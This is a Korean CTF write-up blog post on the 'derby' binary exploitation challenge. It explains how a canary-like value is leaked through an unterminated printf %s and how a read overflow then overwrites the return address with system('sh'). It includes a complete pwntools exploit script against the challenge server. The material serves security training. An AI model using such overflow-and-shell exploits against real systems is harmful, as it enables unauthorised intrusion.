본문 바로가기
시스템 해킹/cykor

derby-카나리 릭

by sonysame 2018. 1. 2.

derby



derby문제에서 아이다로 확인을 하면, 큰 입력을 받는 부분(read(0,s,0x134u)game()&&(unsigned int)score > 0x1D979if문을 통과해야 도달할 수 있다


game()이 참이 되려면, game함수에서 return값이 1이 되어야 하고, 이는 7번 메뉴를 선택해야 한다. 7번 메뉴는 숨겨진 메뉴라고 볼 수 있다


score또한 조건을 만족해야 하므로, 100%의 확률로 도달할 수 있는 것은

아니다


이때 read함수로 입력을 크게 받으므로 return address까지 덮을 수 있다


하지만 문제는


이 부분을 통과해야 조작한 리턴 어드레스에 도달할 수 있다는 점이다. 우리는 random_bak에 적힌 값을 알아야 한다


read(0,s,0x134u)부분에서 s bp-124h에 존재하고, buf bp-20h에 존재하므로, buf도 덮을 수 있다

하지만 buf에 담긴 값과 random_bak에 담긴 값이 같아야 하므로, random_bak에 적힌 값을 릭 해내야 한다


그런데 처음에 random_bak=buf이므로 처음에 buf에 담긴 값을 알아내는 것과 같다.

부분은 처음 팀을 정하는 부분으로 해결할 수 있다


read(0, nptr,4u) nptr에 값을 입력 받는데 4글자까지 입력 받을 수 있다

그리고 nptr에 적힌 문자를 숫자로 바꿔서 v8에 저장을 하는데, v8 1혹은 2이어야 한다


그리고 printf(“Your input : %s\n”, nptr); 부분에서 nptr 4바이트이고 뒤 바이트가 바로 뒤에 있다면 널바이트가 나올 때까지 %s로 출력을 해준다


따라서, nptr뒤에 있는 buf부분(random_bak)도 알아낼 수 있다.  

그래서 나는 팀을 정할 때 “1ppp”를 넣어주었다

그러면 v8은 숫자인 1까지만 인식하므로 v8 Invalid value를 선택하지 않은 것처럼 된다

그리고 1ppp뒤에 나온 4바이트가 buf 4바이트인것이다


그래서 read(s, 0, 0x134u)에서 memcmp를 통해 random_bak과 비교하는 부분에 알아낸 4바이트로 채워주고 리턴어드레스를 system함수와 “sh”로 덮어서 쉘을 딸 수 있었다.


지만 중간에 인자가 이상해서 입력이 제대로 들어가지 않거나 중간에 오류가 나오는 경우들이 있었다. 이러한 경우에는 레지스터를 살펴봐서 적절한 인자 값을 넣어주면 된다.


from pwn import*

import time

s=remote('cykor.kr',10001)

 

s.recvuntil("> ")

s.send("1ppp")

s.recvuntil("input : ")

a=s.recv(4)

a=u32(a)

b=s.recv(4)

b=u32(b)

s.recvuntil("> ")

s.send("2\n")

s.recvuntil("> ")

s.send("7\n")

s.recv(1024)

payload="b"*0x104+p32(b)+"A"*8+"\x58\xb0\x04\x08"+"A"*20+"\xd0\x85\x04\x08"+"\xef\xbe\xad\xde"+"\x08\x8e\x04\x08"

s.send(payload)

 

s.interactive()